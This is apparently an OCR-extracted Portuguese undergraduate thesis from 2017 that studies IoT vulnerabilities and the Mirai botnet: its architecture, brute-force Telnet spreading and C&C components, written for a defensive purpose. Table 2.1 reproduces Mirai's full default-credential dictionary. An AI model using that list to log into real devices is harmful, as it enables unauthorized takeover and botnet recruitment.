TRABALHO DE GRADUACAO

ESTUDO SOBRE VULNERABILIDADES EM DISPOSITIVOS 10T
NO CONTEXTO DE ATAQUES COM O USO DE BOTNETS

Alessandra de Melo e Silva

Brasilia, Fevereiro de 2017




UNIVERSIDADE DE BRASILIA
Faculdade de Tecnologia

TRABALHO DE GRADUACAO

ESTUDO SOBRE VULNERABILIDADES EM DISPOSITIVOS 10T
NO CONTEXTO DE ATAQUES COM O USO DE BOTNETS

Alessandra de Melo e Silva

Relatorio submetido ao Departamento de Engenharia
Elétrica, como requisito parcial para obtenc¢ao

do grau de Engenheiro de Redes de Comunicag¢ao

Banca Examinadora

Prof. Rafael Timoéteo de Sousa Junior,

ENE/UnB
Orientador

Prof. Robson de Oliveira Albuquerque,

ENE/UnB
Co-Orientador

Georges Daniel Amvame Nze, ENE/UnB
Examinador Interno



Agradecimentos

Agradeco, primeiramente, aos meus pais e irmdao por todo o apoio, ajuda e carinho ofe-
recido durante o periodo de graducdo.

Ao meu orientador Prof. Rafael Timdteo de Sousa Junior pelo incentivo e paciéncia
durante o desenvolvimento do trabalho, além de todos os ensinamentos repassados durante
os semestres finais do curso.

Ao coorientador Robson de Oliveira Albuquerque, pelo auxilio na escolha do tema do
projeto e pela dedicacao e disponibilidade em ensinar e impulsionar o desenvolvimento
do projeto.

Ao meu amigo Gabriel, por disponibilizar os dispositivos necessdrios para a realizagdo do
trabalho, além de nunca medir esfor¢os para me ajudar nas dificuldades encontradas.
Aos amigos de curso que me acompanharam durante o periodo de graduacdo, especial-

mente, ao Rodrigo e Isabela por todo companheirismo e ensinamentos compartilhados.

Alessandra de Melo e Silva



RESUMO

Este trabalho aborda o conceito de Internet das coisas (IoT) que abrange uma vasta gama de
objetos cotidianos conectaveis a Internet e proporciona o desenvolvimento de uma rede altamente
distribuida que promove a integracao entre objetos e seres humanos. O constante crescimento desse
universo IoT traz desafios a serem estudados e superados, sendo um dos principais relacionado a
seguranca e privacidade. Por esse motivo, dispositivos IoT se tornaram alvos potenciais para diver-
sos ataques cibernéticos, principalmente ataques realizados por botnets. Dessa forma, o objetivo
deste trabalho foi desenvolver um estudo sobre as vulnerabilidades encontradas em dispositivos
IoT no contexto de ataques com o uso de botnets, abordando as defini¢oes e conceitos sobre esse

tipo de ataque e os procedimentos utilizados para sua execucao.

Neste trabalho, criou-se cenérios de simulacao de ataques de invasao de dispositivos IoT uti-
lizando estrutura de uma botnet em ambiente controlado. Para desenvolvimento da botnet, foi
trabalhada a primeira versao do codigo disponibilizado da botnet Mirai, além de dispositivos que
estao incluidos no universo IoT. Analisou-se os cenérios com o objetivo de compreender a eficacia
e capacidade desses ataques, além de encontrar mecanismos de defesa para evitar que dispositivos

IoT continuem como alvos potenciais.

Palavras-chave: IoT. Vulnerabilidades. Botnet. Mirai. Negacao de Servigo.



ABSTRACT

The present study addresses the Internet of Things (IoT) concept, that ranges from a wide
range of everyday internet objects to the development of a highly distributed network that allows
the interaction between humans and objects. The constant growth of the IoT universe brings
challenges to be studied and overcome, while security and privacy are two of the greatest ones.
For this reason, IoT devices are potential targets for various cyber attacks, especially when used
on botnets. Thus, the objective of this study is to analyze the vulnerabilities found on IoT devices
by a botnet attack perspective, addressing the definitions and concepts about this type of attack

and the procedures used for its execution.

Under a controlled environment, simulated scenarios of intrusion attacks on IoT devices were
created using a botnet structure. For the development of the botnet, the first version of Mirai
Botnet was used, along with IoT devices. The scenarios were analyzed with the objective of
understanding the effectiveness and capacity of these attacks, as well as finding defense mechanisms

to prevent IoT devices from remaining the potential targets.
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Capitulo 1

Introducao

Nos ultimos anos, com o relevante aumento do poder computacional e das tecnologias de
comunicacao, um mercado de dispositivos com capacidade de interconexao por meio da Internet
emergiu e adquiriu grandes proporc¢oes. Este cenério proporcionou o desenvolvimento do paradigma
de Internet das Coisas (IoT), conceito esse que se adequou perfeitamente a sociedade tecnologica

da qual fazemos parte.

Tendo sido primeiramente empregado para tratar da identificacdo eletronica de produtos por
meio de radio frequéncia (RFID), o termo Internet das coisas expandiu-se e passou a abranger
todos os objetos cotidianos, conectaveis a rede com o uso do protocolo IP. O conceito de IoT tem o
potencial de habilitar o cenario da computagao ubiqua, proporcionando o desenvolvimento de uma
rede altamente distribuida que promove a integragdo entre objetos e seres humanos. O emprego
desses dispositivos inteligentes que operam de forma interativa e auténoma, pode oferecer maior
eficiéncia e eficacia em diversas agoes cotidianas. Por consequéncia, as previsoes de expansao desse

mercado sao prodigiosas.

Por ser um conceito relativamente novo, existem desafios a serem estudados e superados para
a real implantacao do cenario da IoT. Dentre esses obstaculos, estao a interoperabilidade entre
dispositivos de diferentes fabricantes, administracao do volumoso fluxo de dados, a escalabilidade
e a confiabilidade. Porém, o maior desafio acerca do conceito de IoT diz respeito a seguranca e
privacidade, ja que os dispositivos que compoem esse cenario, em sua grande maioria, nao foram
projetados com mecanismos de seguranga suficiente. Além disso, mediante a predicdo de uma
volumosa quantidade de dispositivos inteligentes conectados nos préoximos anos, nao espera-se

alteracoes para esta problematica.

Nesse contexto, é notorio que dispositivos IoT se tornaram alvos potenciais para diversos ata-
ques cibernéticos, principalmente ataques de negacao de servigo (DDoS) com o uso de botnets.
No dltimo ano, um ataque dessa categoria, registrado como o maior até hoje, foi capaz de fazer
com que sites reconhecidos mundialmente, como “Netflix” e “Twitter”, desaparecessem da Internet

temporariamente.

Considerando tais problemas, este trabalho objetiva compor uma anélise geral sobre as vulne-

rabilidades presentes em dispositivos IoT no contexto de ataques com o uso de botnets, explorando



possiveis solucoes para esse desafio.

1.1 Objetivos

O objetivo geral deste trabalho é realizar um estudo do panorama atual da seguranga em
dispositivos ToT, principalmente no contexto de desenvolvimento e crescimento das botnets. O
projeto visa entao estudar as principais vulnerabilidades presentes atualmente em dispositivos IoT
no cenario de ataques de invasao para recrutamento em botnets. Para alcancar o objetivo principal

deste trabalho, serao considerados os seguintes objetivos especificos:
e Fstudo geral das principais vulnerabilidades presentes em dispositivos IoT.
e Realizar uma andlise do funcionamento das botnets focadas em dispositivos IoT.
e Obter uma caracterizacao dos dispositivos mais suscetiveis a ataques ocasionados por botnets.
e Definigdo de uma arquitetura de ataque, visando simular cenérios de teste.

e Extracao de informacao dos testes aplicados para realizacao de uma sintese geral e elaboracao

de recomendacgoes de defesa.

1.2 Motivacao e Justificativa

Em setembro de 2016, um popular blog de cyber seguranga, KrebsOnSecurity.com, foi alvo de
um imponente ataque de negagao de servico (DDoS). Cerca de um més depois, o mesmo tipo de
ataque atingiu a Dyn, uma empresa com controle de significante parte da infraestrutura de DNS
nos Estados Unidos. O ataque ultrapassou a ordem de terabytes por segundo e foi o maior ataque
de negagao de servigo ja registrado até hoje [9]. Ambos os ataques foram ocasionados por uma

botnet chamada Mirai.

Os ataques apresentados foram os maiores de uma série ataques de DDoS que vém ocorrendo
relacionados a botnets com foco em dispositivos IoT. Devido ao grande nimero de vulnerabilidades

presentes nesses dispositivos, os mesmos acabam se tornando alvos convenientes para os atacantes.

Botnets ja existem hé certo tempo e sao consideradas uma das principais ameagas a segurancga
na Internet. Além disso, a magnitude dos ataques relatados demonstra o potencial de danifica-
¢ao e perda existente em consequéncia das vulnerabilidades presentes em dispositivos e sistemas
conectados a Internet. Nesse contexto, viu-se importante uma anélise das vulnerabilidades em
dispositivos IoT no ambito das botnets, com enfoque na botnet Mirai. Sendo assim, este projeto
pretende apresentar as principais falhas de seguranca em dispositivos [oT, visando embasar novas

propostas de seguranga para o paradigma de Internet das Coisas.



1.3 Metodologia

Nesta dissertagao, a proposta de pesquisa foi dividida em trés etapas para facilitar o entendi-

mento do trabalho.

Fase 1: Realizar uma ampla pesquisa bibliografica para identificar e analisar referéncias rele-
vantes ao objetivo do projeto. Com essa pesquisa, torna-se viavel catalogar as principais vulnera-

bilidades em dispositivos IoT e os dispositivos mais propicios a ataques por botnet.

Fase 2: Desenvolver um ambiente de testes de ataque DDoS com o uso de cédigo baseado na

botnet Mirai, para extragao de informacoes no contexto pratico do ataque.

Fase 3: Analise dos dados obtidos pelas simulagoes de ataque, em conjunto com a pesquisa

bibliogréfica, para obter resultados validos e efetuar conclusoes acerca do assunto.

1.4 Organizagao do Trabalho

O trabalho em questao foi ordenado em cinco capitulos, sendo este primeiro o de Introdugao,

com o objetivo de apresentar a proposta e objetivos da pesquisa.

O Capitulo 2 apresenta uma revisao teérica dos principais conceitos que englobam os termos:
IoT, seguranga de redes e botnets. Além disso, constitui o embasamento para a anélise dos testes

obtidos nos capitulos seguintes.

O Capitulo 3 explicita os métodos propostos para a simulagao de ataques a dispositivos IoT, a

arquitetura de ataque e as ferramentas utilizadas para a execucao dos ataques.

O Capitulo 4 expoe e apresenta uma anélise dos resultados obtidos com as simulag¢oes propostas

no Capitulo 3.

O Capitulo 5 conclui o trabalho com a sintetizagao dos resultados obtidos a partir da pesquisa

realizada.



Capitulo 2

Fundamentacao Teoérica

Esse capitulo apresenta uma revisao tebrica dos principais conceitos englobados nos termos:
seguranca de redes, IoT e botnets. Para facilitar o entendimento, o capitulo sera estruturado nos
trés principais topicos descritos, cada um com as subsegoes necessarias para o embasamento da

pesquisa.

2.1 Seguranca de Redes

Ao tratarmos do conceito de redes de comunicacio, somos remetidos quase que imediatamente
a algum tipo de compartilhamento de informagoes ou recursos. Esses dados compartilhados e
trafegados podem ser acessados em diversos pontos da rede e por diferentes usuérios. Nesse cenario,
é possivel elencar uma vasta gama de ataques cibernéticos que existem atualmente, desde os mais
simples até aqueles que provocam a queda de grandes servigos ou perda de dados importantes.

Dessa forma, percebe-se a importancia da érea de pesquisa de seguranca de redes.

Atualmente, a area de seguranca da informagdo é de extrema relevancia devido ao grande
numero de informagoes sigilosas trafegadas em redes de comunicagao. Fssa area é inspirada em

trés pilares: confidencialidade, integridade e disponibilidade dos recursos de uma rede [10].
e Confidencialidade: garantir que a informacao seja acessada apenas por pessoas autorizadas;
e Integridade: garantir que a informagao seja original e verdadeira, nao tendo sido modificada;

e Disponibilidade: garantir que as pessoas autorizadas tenham acesso aos dados e recursos

sempre que desejado.

Devido a magnitude das redes de comunicacao nos dias de hoje, em conjunto com a diversidade
de ataques disponiveis, o estabelecimento e manutencao da seguranca em redes vem se tornando
cada vez mais complexo. Em seguida, serao apresentados alguns conceitos e tipos de ataque que

sao essenciais para o entendimento e desenvolvimento desse projeto.



2.1.1 Malware

Malwares podem ser definidos como cédigos maliciosos desenvolvidos para infectar computado-
res ou dispositivos méveis. Quando instalado, esse tipo de software possui a capacidade de executar

agoes prejudiciais em seu hospedeiro, além de adquirir acesso aos dados armazenados [11] .

Atualmente, a maioria desses codigos é desenvolvido de forma a nao interferir no compor-
tamento usual do dispositivo afetado. Desse modo, os atacantes obtém o controle e o poder

operacional desses dispositivos, sem que o usuério perceba a infecgao.

Além disso, a quantidade de malwares e suas variantes vem aumentando significativamente nos
altimos tempos. Essa situacgao dificulta o processo de deteccao e analise desse tipo de ataque, o

que abre espago para uma intensiva disseminagao desses codigos maliciosos [12].

Considerando o exposto, é perceptivel a constante ampliacao do potencial de risco desse tipo de
ataque. Uma grande quantidade de sistemas contaminados por malwares, de forma transparente
ao usuério, constitui uma forte ameaga, tanto no Ambito de roubo de dados quanto no acesso e

negacao dos recursos computacionais disponiveis.

2.1.2 Ataque de Negagao de Servico DDoS

Um ataque de DDoS (Distributed Denial of Service) consiste na tentativa de saturar uma rede,
um hospedeiro ou um componente de infraestrutura de rede, bloqueando o acesso dos usuérios
legitimos [10]. Ou seja, o atacante inunda o alvo com intmeras requisigoes vindas de diferentes

locais, deixando indisponivel para o usuério aquele componente ou servigo.

Esse tipo de ataque nao caracteriza uma invasao nem objetiva o roubo de informagcoes ou
impacto direto na integridade dos dados da vitima. Seu foco esta apenas na indisponibilidade do

servico [13].

Os ataques de negagao de servigo, em geral, ganharam espago através da exploragao de vul-
nerabilidades presentes em dispositivos conectados & Internet. No caso do ataque de negagao de
servigo distribuido, o enfoque esta na utilizacao de centenas ou milhares de hosts que trabalham
coordenadamente para realizar o ataque. A simultaneidade no envio das requisi¢oes para a vitima,
gera um fluxo muito superior ao que o alvo pode suportar, causando a instabilidade ou indispo-
nibilidade do servico. Por ser um ataque vindo de maultiplas fontes, seu bloqueio é extremamente

complexo.

De uma forma bem superficial, a arquitetura de um ataque DDoS geralmente constitui-se de
um dnico atacante e um tnico alvo. Porém, como pode ser visto na Fig. 2.1, o fluxo de ataque é
composto por maquinas intermediérias, que podem também ser consideradas vitimas secundérias

do ataque [13]|. Sendo assim, a estrutura do ataque dispée de quatro principais componentes:
e Atacante: o coordenador de todo o ataque.

e Mestres: maquinas que recebem do atacante os pardmetros de ataque e comandam os agentes.

Cada mestre coordena um grupo de agentes.



e Agentes ou “Zumbis”: maquinas que enviam diretamente as requisicdes para a vitima e

concretizam o ataque DDoS.

e Vitima: maquina que é alvo do fluxo massivo de pacotes.
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Figura 2.1: Arquitetura de um Ataque DDoS [1]

Em sintese, um atacante controla um niimero grande de mestres, que por sua vez controlam uma
enorme quantidade de zumbis que realizarao as requisi¢oes aos servicos e dispositivos alvo. Essa
dindmica proporciona um ataque distribuido e de alta intensidade. Além disso, por ser originado

de miltiplas fontes, seu bloqueio ou mitigacao é extremamente complicado.

2.1.3 Ataque de dicionario

Um ataque de dicionario € um método de ataque de forga bruta que consiste em desvendar uma
senha de acesso testando todas as combinagoes de palavras possiveis de um dicionério esperavel
[14]. E um ataque com grandes chances de sucesso por ser extremamente comum que 0s USUATios

utilizem palavras existentes e frequentes em seu vocabulério.

2.2 Internet das Coisas (IoT)

O termo Internet das Coisas foi mencionado primeiramente em 1999 por Kevin Ashton e em-
pregado para tratar da identificagao eletrénica de produtos por meio de radio frequéncia (RFID)
[15]. Atualmente, com os avangos na tecnologia e, a consequente viabilidade financeira na utiliza-
¢ao de sensores e na aplicagao de sistemas embarcados em objetos de uso cotidiano, o termo foi
expandido e passou a se referir a uma imensa rede de dispositivos conectéveis a Internet, por meio

do protocolo IP, muitas vezes chamados de “produtos inteligentes” [16].

Essa concepcao, que vem tomando grandes proporcoes nos dias atuais, traz a ideia de uma



interconexao entre pessoas e objetos, na qual a interagao por meio da Internet permitird a comuni-
cagao de pessoas com pessoas, pessoas com objetos e objetos com objetos [15]. O interessante dessa
abordagem é que qualquer ser vivo ou objeto que seja equipado com algum tipo de dispositivo,
software ou sensor que torne vidvel a conexao com a Internet, tem a possibilidade de ser integrado

a essa imensa rede [17].

E nesse contexto que surge a principal diferenca entre IoT e a Internet convencional. A intera-
¢ao entre diferentes objetos permitird que servigos complexos sejam prestados sem a intervengao
humana [15]. Os dispositivos [oT sao capazes de coletar e criar informac¢ao em cendarios especifi-
cos, analisé-los e agir. Dessa forma, para muitos autores, IoT é considerado a nova revolucao da

Internet.

Considerando esse cenario de desenvolvimento e evolucao do conceito de IoT, pode-se dizer que
as expectativas para esse mercado sao prodigiosas. De acordo com um relatério da organizagao
global de pesquisa “Software.org: the BSA Foundation”, até o ano de 2020, cerca de 50 bilhGes de
dispositivos, desde relogios até carros, estarao conectados nessa rede de “coisas” [18], fato esse que
ocasionara um relevante aumento no trafego de dados na Internet. Além disso, inevitavelmente,
a IoT ira afetar basicamente todos os setores da economia, como: saide, automotivo, construgao

civil, geragcao de energia, industrial e agricultura.

2.2.1 Dispositivos IoT

Pesquisas inovadoras no dmbito de IoT estdao proporcionando que objetos didrios se tornem
infinitamente melhores ao incluir nos mesmos poder computacional e conecta-los a Internet [18].
Pode ser considerado um objeto IoT qualquer dispositivo com a capacidade transmitir dados por
meio da Internet sem fio. Esses dispositivos incluem lampadas, fechaduras de portas, relogios,

televisoes, carros, dentre uma infinidade de opgoes.

A implantacao desses dispositivos abre as portas para o crescimento inteligente da economia e
aprimoramento dos padrdes de vida da sociedade [18]. Porém, devido ao intenso e ligeiro impacto
causado pela IoT, um grande ntmero de desafios devem ser superados para uma eficiente utilizagao

desses dispositivos.

Por abrangerem uma vasta gama de elementos de nosso cotidiano, esses dispositivos possuem
a capacidade de armazenar informagoes acerca de basicamente todos os segmentos de nossa vida.
Além disso, como muitas vezes tratam de objetos comuns e ndo projetados para serem conectados a
Internet, sao desprovidos de mecanismos de seguranca contra ataques de rede em geral. E estimado
que aproximadamente 70% dos dispositivos IoT possuem vulnerabilidades nao corrigidas [19]. Por
esses e outros motivos, o contexto de seguranca em IoT se tornou um grande desafio da &rea, e
devido ao grande potencial de ataque a esses dispositivos, a necessidade de investimento e pesquisa

no setor se tornou improtelavel.



2.2.1.1 Telnet

O Telnet é um aplicativo, baseado no proprio protocolo Telnet, que permite a comunicagao
com uma méquina remota. Ele acessa a méquina e emula um terminal 4 distancia, permitindo
a execugao de comandos [20]. O aplicativo funciona em uma arquitetura cliente/servidor e deve
estar disponivel tanto no dispositivo que ir& acessar, como no dispositivo remoto. Por padrao, o

servigo é executado pela porta 23 e, na maioria dos casos, exige credenciais de acesso.

Os dispositivos IoT geralmente sdo pequenos e exercem fungoes especificas, motivos pelos quais
nao possuem teclados ou monitores fixados a eles. Para que sejam feitas configura¢des ou manu-
tengoes nesses dispositivos, é necessario que exista algum método de acesso remoto. Dessa forma,

o servico Telnet é bastante utilizado nesse tipo de dispositivo.

2.2.1.2 BusyBox

O BusyBoz é um aplicativo que combina pequenas versoes de utilitarios UNIX variados em
um 1nico e pequeno executavel. Por ser menor, geralmente possui menos op¢oes que os utilitarios
nos quais é baseado, porém, a gama de funcionalidades disponibilizada por ele permite um bom
desempenho para dispositivos que nao possuem grande capacidade de memoria e processamento,

como pequenos sistemas embarcados [21].

Devido a suas caracteristicas, o BusyBoxr é amplamente utilizado em dispositivos IoT. Uma
grande variedade de cameras IP e roteadores utilizam esse sistema para permitir o manuseio dos

dispositivos de forma eficiente.

2.2.2 Seguranca em IoT

Os conceitos de seguranca em redes estavam tradicionalmente associados a comunicac¢ao segura
e a criptografia. Porém, no ecossistema amplo e aberto que é o de IoT, uma variedade maior de
riscos deve ser avaliada, como: disponibilidade dos servigos, integridade das informagoes e protecao
da privacidade [22].

Sendo considerada a nova geracao da Internet, na qual bilhoes de dispositivos estao interconec-
tados, IoT tornou-se um alvo atrativo para atacantes de rede e o tema seguranca em Internet das
Coisas consolidou-se como um dos principais desafios a cerca desse conceito. Dentre as principais

dificuldades em relagao ao assunto, estao [23|:

e Seguranca para bilhoes de dispositivos: Por ser um ecossistema altamente heterogéneo,
deve atender diferentes plataformas e dispositivos, o que torna complicado o estabelecimento de
parametros especificos. Além disso, a grande quantidade de dispositivos conectados aumenta

consideravelmente o potencial dos ataques realizados através deles.

e Privacidade e Seguranca da Informacao: A ideia de implantar dispositivos IoT em um
amplo namero de setores da economia e da vida pessoal da sociedade, provoca um imenso fluxo de

transmissao dados pessoais e privados. Esses dados acabam sendo transmitidos sem a adocao de



mecanismos de protecao, tornando-se vulneraveis na rede.

e Segurancga dos dispositivos: Grande parte das “coisas” incluidas na rede IoT néo foram
projetadas para estarem conectadas a Internet, ocasionando uma seguranca fisica primitiva. Dessa

forma, muitos dispositivos possuem interfaces inseguras que fazem uso de senhas fracas e previsiveis.

e Autonomia dos dispositivos: Por serem auténomos, dispositivos IoT tem a capacidade
de controlar outros dispositivos, nao existindo administradores ou diferentes permissoes de acesso.
Além disso, perder o controle de objetos como: fechaduras, carros e equipamentos médicos, pode

provocar consequéncias desastrosas.

2.3 Botnet

Uma grande dificuldade relacionada aos malwares mais antigos e tradicionais diz respeito a
manutengao dos mesmos [24]. Esses malwares eram comumente desenvolvidos com objetivo tinico
de alojamento na vitima e, devido & falta de disponibilidade de acesso remoto, ndo dispunham de
mecanismos para alteracdo ou correc¢do de seu funcionamento. Atualmente, esses codigos maliciosos
estao sendo projetados para permitir o controle remoto por uma entidade externa [11], fato que

proporcionou um aumento no potencial de ameaga dos malwares em geral.

Os dispositivos contaminados por malwares sdo comumente chamados de bot e executam tarefas
automatizadas sem a consciéncia do usuério. O funcionamento de um bot passa entao a ser ditado
pela entidade controladora do malware que na maioria das vezes mantém o comportamento usual do
dispositivo, além de utiliza-lo em outros servigos, em grande parte ilegais. Como remete o préprio
nome, uma botnet trata de uma rede de maquinas comprometidas, controladas remotamente pelo
atacante, que por sua vez possui a liberdade e arcabouco de recursos para desempenhar atividades
ilicitas [11]. A topologia basica de uma botnet é composta de quatro elementos: botmaster, canal
de comando e controle (C&C), vetor de propagagdo do malware e os bots [25]. O botmaster é
uma entidade externa que coordena as acgoes de cada bot, sendo o responsavel por arquitetar
estratégias para os mais variados tipos de ataque, como negacao de servigo e envio de spam em
massa [11]. Essa entidade de controle faz uso da existente infraestrutura de Comando e Controle
(C&C) para disseminar comandos as maquinas comprometidas e alcangar seus propositos. Além
disso, é necessario que a botnet possua vetores de propagacao que permitam a deteccao e infeccao

de novos dispositivos para a rede [11].

Ao controlar uma botnet, um botmaster adquire dois relevantes tipos de recurso: poder de
processamento e enderegos IP [26]. Devido a significante quantidade de bots geralmente presentes
em uma botnet, mesmo que pouco recurso de CPU seja alocado de cada dispositivo, a soma dos
mesmos prové uma alta capacidade de processamento. Ademais, por serem hosts independentes,
cada bot possui um IP, permitindo que o ataque possua uma visao extremamente distribuida, na

qual o trafego é derivado de intimeras fontes.



2.3.1 Botnet Focada em IoT

As promessas trazidas juntamente ao conceito de IoT tornaram as previsoes de desenvolvimento
e expansao desse mercado bastante otimistas. A ideia de automatizar tarefas cotidianas e aumentar
a eficiéncia de servigos ja automatizados certamente ocasionara uma maior qualidade de vida,
devido a simplicidade e produtividade, fato que atraiu o interesse de todo o mundo para o conceito
de IoT [27]. Em uma previsao realizada por Dave Evans da Cisco, estima-se que em 2020 o niimero
de dispositivos IoT conectados seja triplicado, alcangando cerca de 50 bilhoes [2]. Nesse mesmo
estudo, avaliando também o crescimento populacional, é previsto que no ano de 2020 existam em

média 6,58 dispositivos conectados por pessoa, como pode ser visto na Fig. 2.2.
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Figura 2.2: Previsao Quantitativa de Dispositivos IoT [2]

A principal consequéncia desse crescimento impetuoso do nimero de dispositivos conectados
a rede IoT é a incorporacao de um mercado de produtos e sistemas conectados a Internet, com
insuficiente grau de seguranca e alta propensao a ataques cibernéticos [28]. Dessa forma, devido as
suas vulnerabilidades e seu grandioso volume, dispositivos IoT se tornaram os principais candidatos

para estruturagao de botnets robustas e consequente realizagao de ataques DDoS devastadores.

Atualmente, ja existe uma variedade de malwares focados diretamente em ataques a dispositivos
IoT. Além disso, devido as constantes modificagbes realizadas por hackers, objetivando explorar
novas vulnerabilidades e expandir os tipos de dispositivos infectados, nao é possivel listar todos os
tipos de malwares focados em dispositivos IoT [3]. Abaixo, sdo expostas as oito familias dominantes
de IoT malwares, descobertas em 2015 [4][3].

e Zollard: esse worm explora uma vulnerabilidade do antigo PHP para acesso do sistema
com o uso de credenciais comuns. Quando o dispositivo é infectado, um backdoor é aberto na porta

TCP, permitindo o controle remoto.

e Linux.Aidra: esse malware se propaga pela porta 23 (Telnet) testando combinagoes
comuns de usudrio e senha para ter acesso a vitima. Apés o acesso, o dispositivo geralmente é

utilizado para realizagao de ataques DDoS.

e XOR.DDos: o malware usa do ataque de dicionario para descobrir as credenciais de
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acesso pela porta SSH. Ele utiliza criptografia XOR no co6digo do malware e no servidor C&C. Ao

abrir uma conexao backdoor, utiliza o dispositivo infectado para condugao de ataques DDoS.

e Bashlite: a versao original desse malware explorou uma falha no shell bash (Shellshock),
principalmente em dispositivos que rodavam o BusyBox. Desde entdo, sofreu varias variagoes e

atualmente consegue explorar outras vulnerabilidades de dispositivos.

e LizardStresser: esse malware realiza uma varredura de IPs piiblicos, testando combina-
¢oes de usuario e senha comuns no servigco Telnet. Também costuma ser utilizado para realizar

ataques DDoS.

e AES.DDoS: o malware faz o ataque de forca bruta para obter acesso pela porta SSH. Seu

diferencial esta na criptografia AES utilizada na comunicacao com o servidor C&C.

e PNScan: esse trojan verifica um segmento de rede com o objetivo de realizar um acesso
por forga bruta na porta SSH. Ele nao possui as funcionalidades de uma botnet, porém pode ser

utilizado para baixar malwares de botnet.

e Tsunami: esse malware é um bot do tipo IRC, que modifica a configuracao do servidor DNS
na configuragao dos dispositivos infectados de modo que o trafego do dispositivo seja redirecionado

para servidores mal-intencionados controlados pelo atacante.

Algumas novas familias de malware focadas em IoT foram descobertas apés o ano de 2015.
Trés delas, importantes para o desenvolvimento do trabalho, serao especificadas nas segoes 2.3.2,

2.3.3¢e2.34.

Considerando o exposto, pode-se dizer que, em sua maioria, as botnets focadas em IoT sao
utilizadas para a realizacao de ataques DDoS. Cada uma possui seu proprio mecanismo de acesso
as vitimas, sendo em grande parte utilizado o ataque de for¢a bruta ao testar combinac¢ées comuns
de usuéario e senha em servicos de gerenciamento remoto, como Telnet e SSH. Apds o processo
de invasao, agregam os dispositivos infectados em gigantescas botnets. A Fig. 2.3 apresenta uma

arquitetura geral desse tipo de botnet.
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Figura 2.3: Arquitetura geral de uma botnet IoT (3]

A arquitetura de uma botnet focada em dispositivos IoT consiste em dois elementos funda-
mentais, que em todas as familias de malware exercem as mesmas func¢oes, e quatro elementos
complementares, que possuem suas fungoes combinadas dependendo do tipo de malware. Os com-
ponentes principais sdo os servidores de comando e controle (C&C), os quais possuem todo o
controle dos bots, e os proprios bots. Como componentes adicionais existem os scanners usados
para fazer a varredura de dispositivos vulneraveis, o servidor ‘reporter’ que coleta os relatorios
de varredura dos bots, os loaders encarregados de logar nos dispositivos e carregar o malware e o

servidor de distribuigdo do malware, onde o c6digo malicioso esta armazenado [3].

Tendo em vista a fun¢éo de cada um de seus componentes, o funcionamento da botnet pode ser
observado na Fig. 2.3. Os scanners fazem a varredura de potenciais vitimas e enviam os relatorios
desse processo ao servidor ‘reporter’. Com base nesses resultados, o servidor ‘reporter’ ira indicar
aos loaders quais dispositivos devem ser acessados e as credenciais a serem usadas. Apos logar no
dispositivo, o loader induz o dispositivo a carregar o malware, localizado no servidor de distribuigao
do malware. Com o codigo carregado no dispositivo, o mesmo se torna um bot e passa a responder
aos comandos enviados pelo servidor C&C. Na maioria dos casos, para a comunicacao entre bots e

servidores C&C, é implementada a arquitetura de cliente/servidor.

2.3.2 Botnet Mirai

A botnet Mirai é parte de uma familia de malware descoberta em maio de 2016, chamada de
Linuz. Mirai [4]. Esse malware faz uma varredura na Internet em busca de enderegos IP, visando

localizar dispositivos inseguros com possibilidade de serem controlados remotamente. Usando uma
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técnica de forga bruta chamada de ataque de dicionario, descrito na segao 2.1.3, sao feitas diversas
tentativas de acesso com credenciais previsiveis, como credenciais padroes de fabrica [29]. O codigo
original possui 60 combinacoes diferentes de usuério e senha, sendo esses apresentados na Tabela
2.1 [5]. E importante ressaltar que a maioria das combinacoes existentes no codigo sdo usuarios
e senhas padroes de dispositivos IoT que ja foram caracterizados como vulneréveis. O codigo

também pode ser modificado e outras opgoes de combinagoes podem ser adicionadas.

Usuério Senha Usuario Senha Usuario Senha
root vizxv root xc3H11 root admin
admin admin root 888888 root xmhdipc
root default root juantech root 54321
root 123456 support support root (none)

root 12345 user user root root
admin password admin (none) root pass
admin adminl234 root 1111 admin smcadmin
admin 1111 root 666666 root password
root 1234 root klv123 Administrator admin
service service supervisor | supervisor guest guest
guest 12345 adminl password 666666 666666
888888 888888 root ubnt root klv1234
root 7teb521 root hi3518 root jvbzd
root TujMkoOvizxv root zIxx. root anko
root system root ikwb root TujMkoOadmin
root realtek root user root dreambox
admin 111111 admin 1234 root 000000
admin 12345 admin 54321 admin 123456
admin | 7TujMkoOadmin admin meinsm admin pass
admin 1234 tech tech mother fucker

Tabela 2.1: Combinagoes de usuério e senha no coédigo original da Mirai [5]

Apos invadir o dispositivo, o mesmo passa a ser controlado remotamente com comandos trans-
mitidos pela C&C, sendo recrutado a participar de ataques DDoS. Na Fig. 2.4 esta apresentada a

arquitetura de funcionamento da botnet Mirai.

Considerando as etapas indicadas na Fig. 2.4, temos uma descrigdo completa do funcionamento
da botnet. Em (1) o botmaster mantém conexao com os servidores C&C, tendo todo o controle
da botnet. Em (2) temos indicado o envio dos resultados da varredura na Internet, realizada
pelos dispositivos IoT infectados, aos relatores. Em (3) Os IPs de dispositivos vulneraveis e suas
respectivas credenciais sa@o enviados ao loader. Em (4) os dispositivos sao acessado e recebem
comandos do loader para carregamento do malware. Em (5) o dispositivo faz o download do

malware e passa a rodar o codigo Mirai. Em (6) os dispositivos invadidos sdo recrutados para a
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Figura 2.4: Estrutura de uma botnet Mirai [4]

botnet. Em (7) cada dispositivo tem seu IP original alterado. Por fim, em (8) acontece a realizagao
do ataque DDoS [4].

E importante ressaltar que apés autenticado no dispositivo, o servidor C&C consegue mas-
carar do netsat a conexao realizada e remove os vestigios desse acesso. Dessa forma, o malware
fica camuflado no dispositivo, que continua operando normalmente. Além disso, a botnet tem a
funcionalidade de desabilitar o servigo Telnet, evitando que outros malwares possam se conectar,

e de eliminar outros malwares ja presentes no dispositivo.

Em setembro de 2016 o cédigo da botnet Mirai foi publicado online em uma comunidade de
hackers “Hackforuns”. Logo em seguida o mesmo jé se classificava como open source, com codigo
postado no GitHub [5]. O codigo da unidade de controle (C&C) foi feito em linguagem Go e os

bots em linguagem C. Um breve estudo desses cddigos é apresentado nas segoes seguintes.

2.3.2.1 Comando e Controle

Os codigos presentes nessa se¢do foram programados na linguagem Go e compdem a infra-
estrutura de Comando e Controle (C&C) usada pela botnet para disseminar comandos aos bots.

Existem oito partes na constituigao desse codigo [5]:

eadmin.go: suporta a funcionalidade de estabelecer uma conexao com o servidor da C&C,
usando credenciais validas. Essa é a principal interface para controle e execugao da botnet, incluindo
criagdo de outros usuarios administradores, definicao de paradmetros de ataque e inicializagao dos
ataques.

e api.go: responsavel pelo estabelecimento de conexao e envio de comandos para um bot
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especifico. Verifica a atual situagao do dispositivo, constatando se esse dispositivo ja esta sendo

